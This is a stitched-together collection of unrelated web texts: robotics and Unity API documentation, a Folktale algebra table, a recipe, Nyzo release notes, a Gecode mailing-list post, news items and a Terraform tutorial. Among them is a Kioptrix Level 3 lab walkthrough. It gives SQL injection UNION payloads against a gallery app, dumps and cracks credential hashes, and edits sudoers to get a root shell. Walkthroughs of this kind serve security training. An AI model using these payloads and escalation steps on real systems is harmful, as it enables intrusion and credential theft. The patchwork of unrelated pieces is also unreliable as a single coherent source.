A class that calculates the repulsive forces between CPSs. More...
#include <repulsion.h>
Public Member Functions | |
| bool | calc () |
| Check whether collision avoidance is necessary and calculate respective position or velocity. More... | |
| geometry_msgs::Vector3 | get_dir () |
| Get the direction in which to move for collision avoidance. More... | |
| geometry_msgs::PoseStamped | get_pos () |
| Get the intermediate goal position during collision avoidance. More... | |
| geometry_msgs::Twist | get_vel () |
| Get the intermediate target velocity during collision avoidance. More... | |
| void | init (double dist_critical, double dist_attract, double dist_repulse, string attraction_shape, string repulsion_shape) |
| Configure the repulsion behavior through parameters. More... | |
| repulsion () | |
| Constructor. More... | |
| void | set_pos (const geometry_msgs::PoseStamped::ConstPtr &pos) |
| Set the current position of this CPS. More... | |
| void | set_sp_pos (const geometry_msgs::PoseStamped::ConstPtr &pos) |
| Set the original goal position for this CPS. More... | |
| void | set_sp_vel (const geometry_msgs::Twist::ConstPtr &vel) |
| Set the original target velocity for this CPS. More... | |
| void | set_swarm (const cpswarm_msgs::ArrayOfVectors::ConstPtr &swarm) |
| Set the relative positions received from other CPSs in the swarm. More... | |
| bool | sp_pos () |
| Check whether position setpoint is used. More... | |
| bool | sp_vel () |
| Check whether position setpoint is used. More... | |
Private Member Functions | |
| void | attract (geometry_msgs::Vector3 &attraction, double closest) |
| void | repulse (geometry_msgs::Vector3 &repulsion, int &neighbors, double &closest) |
| Calculate repulsion from close by CPSs. More... | |
Private Attributes | |
| string | attraction_shape |
| The shape of the attraction function. More... | |
| geometry_msgs::Vector3 | direction |
| The direction of avoidance. More... | |
| double | dist_attract |
| Distance between CPSs in meter below which attraction starts to decrease. Must be greater than dist_critical. More... | |
| double | dist_critical |
| Distance between CPSs in meter below which the collision avoidance will work maximally, i.e., maximum repulsion, no attraction. More... | |
| double | dist_repulse |
| Distance between CPSs in meter below which repulsion starts to increase. Must be greater than dist_critical. More... | |
| geometry_msgs::PoseStamped | goal_pos |
| The originally desired goal position of this CPS in case of no collision avoidance. More... | |
| geometry_msgs::PoseStamped | int_pos |
| The intermediate goal position where the CPS shall move to during collision avoidance. More... | |
| geometry_msgs::Twist | int_vel |
| The intermediate target velocity which the CPS shall move at during collision avoidance. More... | |
| geometry_msgs::PoseStamped | pos |
| The current position of this CPS. More... | |
| bool | pos_valid |
| Whether a position has been provided. More... | |
| string | repulsion_shape |
| The shape of the repulsion function. More... | |
| control_t | setpoint |
| The type of CPS control. More... | |
| vector< cpswarm_msgs::VectorStamped > | swarm |
| The relative positions of the other swarm members (distance and bearing). More... | |
| geometry_msgs::Twist | target_vel |
| The originally desired target velocity of this CPS in case of no collision avoidance. More... | |
A class that calculates the repulsive forces between CPSs.
Definition at line 26 of file repulsion.h.
| repulsion::repulsion | ( | ) |
Constructor.
Definition at line 3 of file repulsion.cpp.
|
private |
Calculate the direction towards the original goal during collision avoidance.
| attraction | Returns the attraction vector, i.e., the direction of the goal with the magnitude calculated from the closest CPS distance. |
| closest | The distance to the closest CPS. |
Definition at line 142 of file repulsion.cpp.
| bool repulsion::calc | ( | ) |
Check whether collision avoidance is necessary and calculate respective position or velocity.
Definition at line 24 of file repulsion.cpp.
| geometry_msgs::Vector3 repulsion::get_dir | ( | ) |
Get the direction in which to move for collision avoidance.
Definition at line 127 of file repulsion.cpp.
| geometry_msgs::PoseStamped repulsion::get_pos | ( | ) |
Get the intermediate goal position during collision avoidance.
Definition at line 132 of file repulsion.cpp.
| geometry_msgs::Twist repulsion::get_vel | ( | ) |
Get the intermediate target velocity during collision avoidance.
Definition at line 137 of file repulsion.cpp.
| void repulsion::init | ( | double | dist_critical, |
| double | dist_attract, | ||
| double | dist_repulse, | ||
| string | attraction_shape, | ||
| string | repulsion_shape | ||
| ) |
Configure the repulsion behavior through parameters.
| dist_critical | Distance between CPSs in meter below which the collision avoidance will work maximally, i.e., maximum repulsion, no attraction. |
| dist_attract | Distance between CPSs in meter below which attraction starts to decrease. Must be greater than dist_critical. |
| dist_repulse | Distance between CPSs in meter below which repulsion starts to increase. Must be greater than dist_critical. |
| attraction_shape | The shape of the attraction function. |
| repulsion_shape | The shape of the repulsion function. |
Definition at line 9 of file repulsion.cpp.
|
private |
Calculate repulsion from close by CPSs.
| repulsion | Returns the repulsion vector, i.e., the sum of the vectors pointing away from the neighbors. |
| neighbors | Returns the number of neighbors that create repulsion. |
| closest | Returns the distance to the closest neighbor. |
Definition at line 199 of file repulsion.cpp.
| void repulsion::set_pos | ( | const geometry_msgs::PoseStamped::ConstPtr & | pos | ) |
Set the current position of this CPS.
| pos | The current position of this CPS. |
Definition at line 116 of file repulsion.cpp.
| void repulsion::set_sp_pos | ( | const geometry_msgs::PoseStamped::ConstPtr & | pos | ) |
Set the original goal position for this CPS.
| pos | The desired goal position of this CPS in case of no collision avoidance. |
Definition at line 104 of file repulsion.cpp.
| void repulsion::set_sp_vel | ( | const geometry_msgs::Twist::ConstPtr & | vel | ) |
Set the original target velocity for this CPS.
| vel | The desired target velocity of this CPS in case of no collision avoidance. |
Definition at line 110 of file repulsion.cpp.
| void repulsion::set_swarm | ( | const cpswarm_msgs::ArrayOfVectors::ConstPtr & | swarm | ) |
Set the relative positions received from other CPSs in the swarm.
| swarm | An array of distance and bearing of the other CPSs. |
Definition at line 122 of file repulsion.cpp.
| bool repulsion::sp_pos | ( | ) |
Check whether position setpoint is used.
Definition at line 94 of file repulsion.cpp.
| bool repulsion::sp_vel | ( | ) |
Check whether position setpoint is used.
Definition at line 99 of file repulsion.cpp.
|
private |
The shape of the attraction function.
Definition at line 183 of file repulsion.h.
|
private |
The direction of avoidance.
Definition at line 153 of file repulsion.h.
|
private |
Distance between CPSs in meter below which attraction starts to decrease. Must be greater than dist_critical.
Definition at line 173 of file repulsion.h.
|
private |
Distance between CPSs in meter below which the collision avoidance will work maximally, i.e., maximum repulsion, no attraction.
Definition at line 168 of file repulsion.h.
|
private |
Distance between CPSs in meter below which repulsion starts to increase. Must be greater than dist_critical.
Definition at line 178 of file repulsion.h.
|
private |
The originally desired goal position of this CPS in case of no collision avoidance.
Definition at line 138 of file repulsion.h.
|
private |
The intermediate goal position where the CPS shall move to during collision avoidance.
Definition at line 158 of file repulsion.h.
|
private |
The intermediate target velocity which the CPS shall move at during collision avoidance.
Definition at line 163 of file repulsion.h.
|
private |
The current position of this CPS.
Definition at line 128 of file repulsion.h.
|
private |
Whether a position has been provided.
Definition at line 133 of file repulsion.h.
|
private |
The shape of the repulsion function.
Definition at line 188 of file repulsion.h.
|
private |
The type of CPS control.
Definition at line 123 of file repulsion.h.
|
private |
The relative positions of the other swarm members (distance and bearing).
Definition at line 148 of file repulsion.h.
|
private |
The originally desired target velocity of this CPS in case of no collision avoidance.
Definition at line 143 of file repulsion.h.


Page 1
Electronics
Electronics | Science | 3D printing | Occult | Alternative Medicine | Store
Chaos Dynamic
OPENING SOON
Solution for Breaking out of the Mundane


Short answer: yes. Folktale 1 implements<EMAIL_ADDRESS>and Folktale 2 implements<EMAIL_ADDRESS>up to<EMAIL_ADDRESS>wherever possible.
Short answer: yes. Folktale 1 implements<EMAIL_ADDRESS>and Folktale 2 implements<EMAIL_ADDRESS>up to<EMAIL_ADDRESS>wherever possible.
Refer to the table below for implemented algebras:
Folktale 1 implements only the non-prefixed methods of Fantasy Land v0.x~1.x.
| Maybe | Either | Validation | Task | |
|---|---|---|---|---|
| Setoid | ❌ | ❌ | ❌ | 🚫 |
| Semigroup | ❌ | ✅ | ❌ | ✅¹ |
| Monoid | 🚫² | 🚫² | 🚫² | ✅¹ |
| Functor | ✅ | ✅ | ✅ | ✅ |
| Contravariant | 🚫 | 🚫 | 🚫 | 🚫 |
| Apply | ✅ | ✅ | ✅ | ✅ |
| Applicative | ✅ | ✅ | ✅ | ✅3 |
| Alt | ❌ | ❌ | ❌ | ❌ |
| Plus | ❌ | ❌ | ❌ | ❌ |
| Alternative | ❌ | ❌ | ❌ | ❌ |
| Foldable | ❌ | ❌ | ❌ | ❌ |
| Traversable | ❌ | ❌ | ❌ | ❌ |
| Chain | ✅ | ✅ | 🚫⁴ | ✅ |
| ChainRec | ❌ | ❌ | 🚫⁴ | ❌ |
| Monad | ✅ | ✅ | 🚫⁴ | ✅ |
| Extend | 🚫⁵ | 🚫⁵ | 🚫⁵ | 🚫⁵ |
| Comonad | 🚫⁵ | 🚫⁵ | 🚫⁵ | 🚫⁵ |
| Bifunctor | 🚫⁶ | ✅ | ✅ | ✅ |
| Profunctor | 🚫 | 🚫 | 🚫 | 🚫 |
Folktale 2 implements both unprefixed and prefixed methods, and thus supports Fantasy Land v0.x~3.x.
NOTE
The structures implement the old version of.ap
(fn.ap(value)
), and the new version of."fantasy-land/ap"
(value['fantasy-land/ap'](fn)
). Fantasy Land actually made this breaking change without bumping the major version first. If some library expects the unprefixed method to implement the new argument order, things won't work nicely.
| Maybe | Result | Validation | Task | Future | |
|---|---|---|---|---|---|
| Setoid | ✅ | ✅ | ✅ | 🚫 | 🚫 |
| Semigroup | 🔜 | 🔜 | ✅ | ❌ | ❌ |
| Monoid | 🚫² | 🚫² | 🚫² | ❌ | ❌ |
| Functor | ✅ | ✅ | ✅ | ✅ | ✅ |
| Contravariant | 🚫 | 🚫 | 🚫 | 🚫 | 🚫 |
| Apply | ✅ | ✅ | ✅ | ✅ | ✅ |
| Applicative | ✅ | ✅ | ✅ | ✅ | ✅ |
| Alt | 🔜 | 🔜 | 🔜 | 🔜 | 🔜 |
| Plus | 🔜 | 🔜 | 🔜 | 🔜 | 🔜 |
| Alternative | 🔜 | 🔜 | 🔜 | 🔜 | 🔜 |
| Foldable | ❌ | ❌ | ❌ | ❌ | ❌ |
| Traversable | ❌ | ❌ | ❌ | ❌ | ❌ |
| Chain | ✅ | ✅ | 🚫⁴ | ✅ | ✅ |
| ChainRec | 🔜 | 🔜 | 🚫⁴ | 🔜 | 🔜 |
| Monad | ✅ | ✅ | 🚫⁴ | ✅ | ✅ |
| Extend | 🚫⁵ | 🚫⁵ | 🚫⁵ | 🚫⁵ | 🚫⁵ |
| Comonad | 🚫⁵ | 🚫⁵ | 🚫⁵ | 🚫⁵ | 🚫⁵ |
| Bifunctor | 🚫⁶ | ✅ | ✅ | ✅ | ✅ |
| Profunctor | 🚫 | 🚫 | 🚫 | 🚫 | 🚫 |
NOTES
- ✅: The algebra is implemented for this structure;
- ❌: The algebra is not implemented for this structure;
- 🚫: The algebra can't be implemented for this structure;
- 🔜: The algebra will be implemented for this structure in the future.
- ¹: The Task instance of Monoid is non-deterministic, and the equivalent of Promise.race.
- ²: Implementing a generic Monoid would require return-type polymorphism. It's theoretically possible, but not practically possible (requires free monoids and late reifying). See https://eighty-twenty.org/2015/01/25/monads-in-dynamically-typed-languages for a detailed explanation.
- ³: Resolves Tasks in parallel, so may be observably different than the Monad instance if the ordering of effects matters.
- ⁴: See Why is there no
.chain
/Monad for Validation? in this document.- ⁵: It's not possible to implement these without being partial, so we choose to not implement it.
- ⁶: One side of the Maybe is nullary, and Bifunctor requires two unary functions.


|
TrackracerAR
0.9.2
|
Manages the UI for the RaceOverState More...
Public Member Functions | |
| void | OnRetryButtonPressed () |
| void | OnExitButtonPressed () |
Private Member Functions | |
| void | Construct (IRaceOverState _state) |
Private Attributes | |
| IRaceOverState | m_state |
| UIFader | m_fader |
Manages the UI for the RaceOverState
|
inlineprivate |
|
inline |
|
inline |
|
private |
|
private |


Blot is a blogging platform. It turns a folder in your Dropbox into a blog. Files you put inside are published automatically. Images, text files, Markdown, bookmarks, Word Documents™ (and more) become blog posts. There’s no interface. Just files and folders.
Why does Blot exist? So that you can use your favorite app to write your blog. Vim or Emacs or Microsoft Word™? You decide.
People who use Blot tend to appreciate the simplicity and flexibility of plain text files. This video shows you how it works:
Blot’s seven templates are designed to be customized. If you’re comfortable with HTML and CSS, you can also create your own template from scratch.
A site costs $30 per year. Hosting is included and there are no ads. All of Blot's templates are available to you. Here’s a handful of the sites hosted by Blot:


Preparation time
overnight
Cooking time
10 to 30 mins
Serves
Serves 2
Dietary
To make the goats cheese, peel the outside rind from the goats' cheese.
Mix the ground almonds and breadcrumbs together.
Mix the egg and milk together to make an egg-wash .
Roll the goats cheese into the flour, then the egg-wash and then into the almond and breadcrumb mix repeat this twice and then refrigerate. Two coats will stop the cheese from bursting through when fried.
To make the pear chutney, peel the pears and leave them whole.
Put the port in a small pan and reduce until it becomes syrupy.
Add red wine, spices, herbs and garlic and reduce by half.
Add the stock syrup (black pepper corns, clove, water and sugar having already been mixed) and bring to the boil.
Put the pears in the mixture and cook until they are soft. Insert a knife into the pears and if there is no resistance they are cooked (approx 5 minutes).
Allow the pears to cool down in the syrup. It's best made 1 day in advance to maximise flavour.
For the walnut dressing, mix all the ingredients together.
Season to taste with the salt and pepper.
Place the goats cheese into a hot fryer [approximately 170 degrees] until golden brown then, into a preheated hot oven for approx 3 minutes. This will seal the cheese and stop it from bursting out.
Dice the pears into cubes and place them neatly onto the plate. Top with the goat's cheese and salad leaves mixed with the chopped shallots, chives and walnut dressing.


Artificial Intelligence:
Python, TensorFlow, Keras, R,
Jupyter Notebook, DialogFlow
Web Development:
HTML, CSS, JavaScript, JQuery,
Node.js, React, PHP, Express.js
Mobile Development:
React Native, Swift, XCode,
Game Development:
OpenGL, Slick 2D, Java Litiengine, C++, C#


Nyzo version 552 (commit on GitHub) adds the CycleTransactionSignScript.
This version does not affect the verifier or sentinel significantly. It adds a script, and it refactors some sentinel initialization code to allow the code to be reused cleanly by the script. The sentinel changes are minor, and they are isolated to the initialization process.
In Message, a new constructor has been added that allows specification of a seed for signing the message. This is a shortcut to using the existing constructor and using the sign() method to resign the message. Using this constructor saves the extra computation that would otherwise be needed to sign the message twice.
In MessageType, a comment has been revised to provide a more accurate description.
The CycleTransactionSignScript takes a single argument, the Nyzo string of the transaction to be signed.
The script checks the signature, loads the managed verifiers, initializes the frozen edge, attempts to find the transaction, and fetches the cycle. These are all the pieces of information that are necessary to sign the transaction and send it to the cycle. If any of the necessary information is unavailable, the script prints an error message and exits.
The pattern of early return from a method is not frequently used in Nyzo. Generally, methods are allowed to reach the end of their code, and return statements are seldom found anywhere other than the final line of a method. However, this pattern is simple and easy to understand in the specific case of this method, and it is applied consistently for the entirety of the method.
The signature for a transaction can most easily be obtained from the Nyzo website cycle transactions page. When a transaction's sign this transaction button is selected, a page with the transaction details is displayed. On that page, the Nyzo signature string of the transaction is contained in the URL.
If all the necessary information is found to be available, the signTransactions() method finishes by invoking the sendSignatures() method with the collected information.
The getTransaction() method uses the transaction signature to find a cycle transaction. All cycle transactions are registered with the CycleTransactionManager class. This method looks to the CycleTransactionManager as a source for the cycle transactions. If necessary, the method will query all of the managed verifiers to try to obtain the specified transaction.
The processTransactionListResponse() method registers received cycle transactions with the CycleTransactionManager.
The fetchCycle() method retrieves a list of all in-cycle nodes from one of the managed verifiers.
The sendSignatures() method sends a signature for every managed verifier to every node in the cycle. So, a cycle of 1500 and 30 managed verifiers would result in 45,000 messages. As will be discussed below, the ScriptUtil.sendMessages() method allows such a large volume of messages to be sent relatively quickly.
The PendingMessage class encapsulates the information needed for building a Nyzo message and some tracking information to facilitate retries. This class is important — it, along with the ScriptUtil.sendMessages() method, allows for flexible, concise, robust, and efficient sending of large volumes of messages.
In ScriptUtil, two parameters have been added for the new sendMessages() method. The maximumInFlightRequests parameter limits how many requests are allowed to be awaiting response simultaneously, and the maximumMessageAttempts parameter limits how many times a message is sent, regardless of whether it receives a valid response.
The sendMessages() method sends no more than one message per loop iteration. If no suitable message is found, the thread sleeps for a short period to allow responses and errors to be registered. The method is designed to ensure that every message specified in the set either receives a valid response or is attempted the maximum number of times specified by the maximumMessageAttempts parameter.
In Sentinel, the managedVerifiersFile field has been exposed publicly to allow it to be used in an error message in CycleTransactionSignScript when the managed_verifiers file is empty or missing.
Fetching and processing of bootstrap responses has been moved from the Sentinel class to the initializeFrozenEdge() method of the SentinelUtil class. This refactoring was performed to allow CycleTransactionSignScript to share the method.
Storage of frozenEdge and setting of lastBlockReceivedTimestamp were previously in the processBootstrapResponse() method. These were specific to the Sentinel class, and therefore not suitable for sharing with the CycleTransactionSignScript.
Most of the code moved from Sentinel to SentinelUtil was left unchanged. The only consequential code block that was eliminated was the initial entry into fast-fetch mode. This was eliminated because it was not truly necessary and because the absence of chainFrozenEdge in the Sentinel.start() method added minor complication to potential reimplementation of this functionality in that method. Now, the sentinel does not start in fast-fetch mode. However, as has always been the case, it quickly switches to fast-fetch mode if necessary.
To use the new script, configure a managed_verifiers file just as you would for a sentinel. Then, after updating to version 552 or later, run the following command from the nyzoVerifier directory, replacing the signature with the signature of the cycle transaction you want to sign:
sudo java -jar build/libs/nyzoVerifier-1.0.jar co.nyzo.verifier.scripts.CycleTransactionSignScript sig_g3gMk7KyJM_Kf~5oV~oS1TfULhjEg9JIdXqFfdxsWA-1AyZP3EXDgs39V3eKxSwxLN3ecgUPiPaea5Gd_QGGrgvjtBth
The command can be run on a system devoted to running scripts, or it can be run on an existing sentinel, including while the sentinel is running.


As with the other two, this challenge is geared towards the beginner. It is however different. Added a few more steps and a new skill set is required. Still being the realm of the beginner I must add. The same as the others, there’s more then one way to “pwn” this one. There’s easy and not so easy. Remember… the sense of “easy” or “difficult” is always relative to ones own skill level. I never said these things were exceptionally hard or difficult, but we all need to start somewhere. And let me tell you, making these vulnerable VMs is not as easy as it looks…
Important thing with this challenge. Once you find the IP (DHCP Client) edit your hosts file and point it to kioptrix3.com
Under Windows, you would edit C:\Windows\System32\drivers\etc\hosts to look something like this:
# localhost name resolution is handled within DNS itself.
# <IP_ADDRESS> localhost
# ::1 localhost<IP_ADDRESS> static3.cdn.ubi.com
<IP_ADDRESS> kioptrix3.com
Under Linux that would be /etc/hosts
There’s a web application involved, so to have everything nice and properly displayed you really need to this.
Kioptrix: Level 1.2 (#3) VM Download
//add ip of kioptrix level 3 vm to /etc/hosts file
<IP_ADDRESS> kioptrix3.com
//look at source of
http://kioptrix3.com/gallery/gadmin/
//gallarific is present on the webserver
searchsploit Gallarific
http://kioptrix3.com/gallery/gallery.php?id=null and 1=0 union select 1,concat(userid,0x3a,username,0x3a,password),3,4,5,6 from gallarific_users-- -
1:admin:n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=null and 1=0 union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='dev_accounts'-- -
http://kioptrix3.com/gallery/gallery.php?id=null and 1=0 union select 1,concat(id,0x3a,username,0x3a,password),3,4,5,6 from dev_accounts-- -
1:dreg:0d3eccfb887aabd50f243b3f155c0f85
2:loneferret:5badcaf789d3d1d09794d8f021f40f0e
//use either online service , john, hashcat for breaking md5
#hashcat -m 0 -a0 file-containing-md5-hash /usr/share/wordlists/rockyou.txt
5badcaf789d3d1d09794d8f021f40f0e:starwars
0d3eccfb887aabd50f243b3f155c0f85:Mast3r
// crackstation.net
0d3eccfb887aabd50f243b3f155c0f85 md5 Mast3r --> dreg
5badcaf789d3d1d09794d8f021f40f0e md5 starwars --> loneferret
//ssh to target machine with loneferret
# sudo ht
edit /etc/sudoers
loneferret ALL=(ALL) ALL
save and exit
# sudo /bin/sh
password: starwars
#root :D


[gecode-users] count/atleast: partial propagation towards y ?
Mikael Zayenz Lagerkvist
zayenz at gmail.com
Mon Feb 4 13:19:22 CET 2008
On Feb 3, 2008 1:08 PM, Mikael Zayenz Lagerkvist <zayenz at gmail.com> wrote:
> On 2 feb 2008, at 18.15, Didier Loiseau wrote:
> > I am trying to post a propagator for the constraint
> > x' = x or x' = epsilon
> > with x and x' integer variables and epsilon some constant not in
> > dom(x).
> If you are concerned with efficieny, then you could add a custom
> propagator for this constraint.
I realised that I actually implemented this constraint about a year
ago, and dug it out. The code below can be used to propagate "x=y |
x=z" for integer variables x, y, and z by using Extra::diseq(home, x,
y, z). I haven't tested it thoroughly, but I believe that it works.
Cheers,
Mikael
<code>
/*
* Main authors:
* Mikael Lagerkvist <lagerkvist at gecode.org>
*
* Copyright:
* Mikael Lagerkvist, 2007
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
#include "gecode/kernel.hh"
#include "gecode/int.hh"
#include "gecode/iter.hh"
#include "gecode/int/rel.hh"
namespace Extra {
using namespace ::Gecode;
/**
* \brief Domain-consistent propagator for \f$ x_1=x_2\lor x_1=x_3\f$.
*/
template <class View>
class DisEq : public TernaryPropagator<View,Int::PC_INT_DOM> {
protected:
using TernaryPropagator<View,Int::PC_INT_DOM>::x0;
using TernaryPropagator<View,Int::PC_INT_DOM>::x1;
using TernaryPropagator<View,Int::PC_INT_DOM>::x2;
/// Constructor for cloning \a p
DisEq(Space* home, bool share, DisEq& p);
/// Constructor for posting
DisEq(Space* home, View x0, View x1, View x2);
public:
/// Constructor for rewriting \a p during cloning
DisEq(Space* home, bool share, Propagator& p, View x0, View x1, View x2);
/// Copy propagator during cloning
virtual Actor* copy(Space* home, bool share);
/// Perform propagation
virtual ExecStatus propagate(Space* home);
/// Post propagator
static ExecStatus post(Space* home, View x0, View x1, View x2);
};
template <class View>
inline
DisEq<View>::DisEq(Space* home, View x0, View x1, View x2)
: TernaryPropagator<View,Int::PC_INT_DOM>(home,x0,x1,x2) {}
template <class View>
ExecStatus
DisEq<View>::post(Space* home, View x0, View x1, View x2) {
(void) new (home) DisEq<View>(home,x0,x1,x2);
return ES_OK;
}
template <class View>
inline
DisEq<View>::DisEq(Space* home, bool share, DisEq<View>& p)
: TernaryPropagator<View,Int::PC_INT_DOM>(home,share,p) {}
template <class View>
inline
DisEq<View>::DisEq(Space* home, bool share, Propagator& p,
View x0, View x1, View x2)
: TernaryPropagator<View,Int::PC_INT_DOM>(home,share,p,x0,x1,x2) {}
template <class View>
Actor*
DisEq<View>::copy(Space* home, bool share) {
return new (home) DisEq<View>(home,share,*this);
}
template <class View>
ExecStatus
DisEq<View>::propagate(Space* home) {
typedef Int::ViewRanges<View> Ranges;
Ranges vr1(x1), vr2(x2);
Iter::Ranges::Union<Ranges, Ranges> u12(vr1, vr2);
GECODE_ME_CHECK(x1.inter_r(home, u12, false));
if (rtest_nq_dom(x0, x1) == Int::RT_TRUE)
GECODE_REWRITE(this,
(Int::Rel::EqDom<View, View>::post(home, x0, x2)));
if (rtest_nq_dom(x0, x2) == Int::RT_TRUE)
GECODE_REWRITE(this,
(Int::Rel::EqDom<View, View>::post(home, x0, x1)));
return x0.assigned() && (x1.assigned() || x2.assigned()) ?
ES_SUBSUMED(this,home) : ES_FIX;
}
/** \brief Post propagator for \f$ x_1=x_2\lor x_1=x_3\f$
*/
void diseq(Space* home, IntVar x1, IntVar x2, IntVar x3) {
Int::IntView v1(x1), v2(x2), v3(x3);
GECODE_ES_FAIL(home,DisEq<Int::IntView>::post(home, v1, v2, v3));
}
}
</code>
--
Mikael Zayenz Lagerkvist, http://www.ict.kth.se/~zayenz/
More information about the gecode-users
mailing list


Clemson's Trevor Lawrence meets with teen doppelganger ahead of Wake Forest game
by Ryan GaydosThe doppelganger of Clemson quarterback Trevor Lawrence who went viral across social media showed up at the Tigers’ game against Wake Forest and took a picture with the national champion.
Lawrence and Bella Martina – a 16-year-old girl from Georgia – met ahead of Clemson’s win. Bella went viral for her TikTok video which appears to show her looking exactly like the sophomore quarterback.
FLASHBACK: TREVOR LAWRENCE'S TIKTOK DOPPELGANGER FREAKS OUT SOCIAL MEDIA, CLEMSON QB RESPONDS
Earlier this month, Lawrence responded to the video admitting that the girl did look like him.
ALABAMA STAR TUA TAGOVAILOA SET FOR HIP SURGERY IN HOUSTON
“Yeah, I’ve seen a lot of those,” he said, according to WSPA-TV. “It’s crazy. That one girl actually does look like me. It’s kinda crazy but it’s funny.”
Clemson’s official TikTok account also posted their own video with the woman and Lawrence side-by-side. In a separate video, the woman appeared to be shocked that Lawrence responded to her videos.
Bella was also asked by The Athletic what she would do if she met Lawrence.
“I don’t know what I would say to him [if we ever met] because I don’t know how he would react,” she said. “I’d be like, ‘Hi! My name is Bella. You’ve seen my TikToks. We have the same face.’ I’d be so overwhelmed. I might just squeal.”
CLICK HERE FOR MORE SPORTS COVERAGE ON FOXNEWS.COM
Lawrence is in his second season with Clemson. He has 2,575 passing yards, 27 touchdown passes and eight interceptions this season. Clemson is 11-0 and in contention to repeat as national champions.


Make a list of all tags used in the profile's specific json file. You'll need to take a look at the shared/userFactory.js to create a factory for the profile's links file. Also take a look at the homeController.js for an idea of how to do this.
Advanced level: don't show any duplicates in the tag list.
Really advanced level: create a new factory that holds the tags, without duplicates, and inject that factory into the links page, for use as a filter.


US consumer prices up 0.4% in October; gasoline prices surge
by PAUL WISEMAN, AP Economics WriterWASHINGTON (AP) - Surging gasoline prices caused U.S. consumer prices to rise last month at the fastest pace since March.
The Labor Department said Wednesday that its consumer price index rose 0.4% in October after a flat reading in September. Gasoline prices, after drops in August and September, jumped 3.7% last month. Excluding volatile energy and food prices, so-called core consumer inflation rose just 0.2% in October.
Overall consumer prices rose 1.8% over the past year, just below the Federal Reserve's 2% target. Core prices increased 2.3%.
Relatively tame inflation has allowed the Fed to cut short-term U.S. interest rates three times this year to support an American economy slowed by trade disputes with China and other U.S. trading partners.


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<EMAIL_ADDRESS>Hi everyone! Recently I’ve been working with Terraform and tinkering with it to see how we can integrate it with Jina, so I thought to share with you all that I got.
First thing was to see what Terraform is and why everyone is so hyped about it. According to their website:
“Terraform is a tool for building, changing, and versioning infrastructure safely and efficiently. Terraform can manage existing and popular service providers as well as custom in-house solutions.”
So that’s a lot of fancy words to say it’s a way for you to define your infrastructure via code. No need to go to AWS console and define every part of the infrastructure there. This comes in very handy since it’s easier to debug when you have everything in one script so you can see all the details in one single place.
Cool! Nice, sold, what now?
Let’s tweak our South Park example and instead of running our Docker image locally and then checking the results with Curl, let’s set everything on an AWS instance and use that URL. And of course, because otherwise this post wouldn’t make sense and I could be napping instead, let’s set up the infrastructure with Terraform.
The first thing is to install Terraform, and the installation will depend on your OS. I’m using macOS and I installed it via Homebrew:
brew install terraform
Once you have it installed, you need to configure your AWS, so on your console the first command you’ll run is:
aws configure
This will ask for the credentials of your AWS account. Once you set this, you won’t need to specify keys through code, which is good because that’s a bad practice and you will end up with your account in quarantine…this might have or not have happened to me.
Ok! we have all the setup ready and we can start to write our Terraform file.
We already have a Docker image with the South Park example so we don’t need to create a new one.
So the first thing is to create our Terraform script. It can be called whatever you want but with a .tf extension
provider "aws" {
version = "~> 2.0"
region = "us-east-2"
}
#Create repo
resource "aws_ecr_repository" "southpark" {
name = "sp-repo" # Naming my repository
tags = {
Name = "southpark_repo"
}
}
The first part is to create a provider, with Terraform you can use AWS, Azure, Google Cloud Platform or many others, you can even write your own if you feel like life is too boring and you are an expert in Go. Whatever floats your boat. We’ll use AWS for this example. The second part is to create our repository and we just need to set the name for it. The tags are always optional.
This is the simplest Terraform file you can have, if you run this, Terraform will create an AWS repository for you, so let’s do that.
You can run
terraform plan
And this will print a plan with all the resources that will be created, modified, or deleted. In this case, we are only creating a resource so it will show that. This command is always nice to do for a sanity check, so you see what will happen before it happens, and if we agree with this we run the script with
terraform apply
After we run this, if we go to our AWS console, we’ll see that an sp-repo has been created
Great, we have our repository ready. But at the moment it’s empty, we need to push our Southpark docker image into it. To do that click on the repository name, and then in the upper right corner you’ll see a button of “View Push commands”
We will use that information to push our Docker image
Follow the steps that are shown there except step 2, we don’t need that since we already have our Docker image. After you’ve done that, you should have the Southpark image in your repository, yay.
The next step is to create a Cluster.
resource "aws_ecs_cluster" "southpark_cluster" {
name = "southpark_cluster" # Naming the cluster
}
Ok, for the task we need a bit more details
#Create task
resource "aws_ecs_task_definition" "southpark_task" {
family = "southpark_task"
container_definitions = <<DEFINITION
[
{
"name": "southpark_task",
"image": "${aws_ecr_repository.southpark.repository_url}",
"essential": true,
"portMappings": [
{
"containerPort": 45678,
"hostPort": 45678
}
],
"memory": 2014,
"cpu": 1024
}
]
DEFINITION
requires_compatibilities = ["FARGATE"] # Stating that we are using ECS Fargate
network_mode = "awsvpc" # Using awsvpc as our network mode as this is required for Fargate
memory = 2048 # Specifying the memory our container requires
cpu = 1024 # Specifying the CPU our container requires
execution_role_arn = "${aws_iam_role.ecsExecutionRole.arn}"
}
For this, we will set the image URL of our Docker image and set the ports to 45678
, the same that the Southpark example is using.
If you run terraform apply
you should see a new cluster with a task attached to it
Ok, now we want to create a service that will use the task we just created as a blueprint. Here we will set the name of the service, a reference to our cluster, and to the task we just made. We will have only one container so we set desired_count
to 1
#create service
resource "aws_ecs_service" "southpark_service" {
name = "southpark_service" # Naming our first service
cluster = "${aws_ecs_cluster.southpark_cluster.id}" # Referencing our created Cluster
task_definition = "${aws_ecs_task_definition.southpark_task.arn}" # Referencing the task our service will spin up
launch_type = "FARGATE"
desired_count = 1
load_balancer {
target_group_arn = "${aws_lb_target_group.target_group.arn}" # Referencing our target group
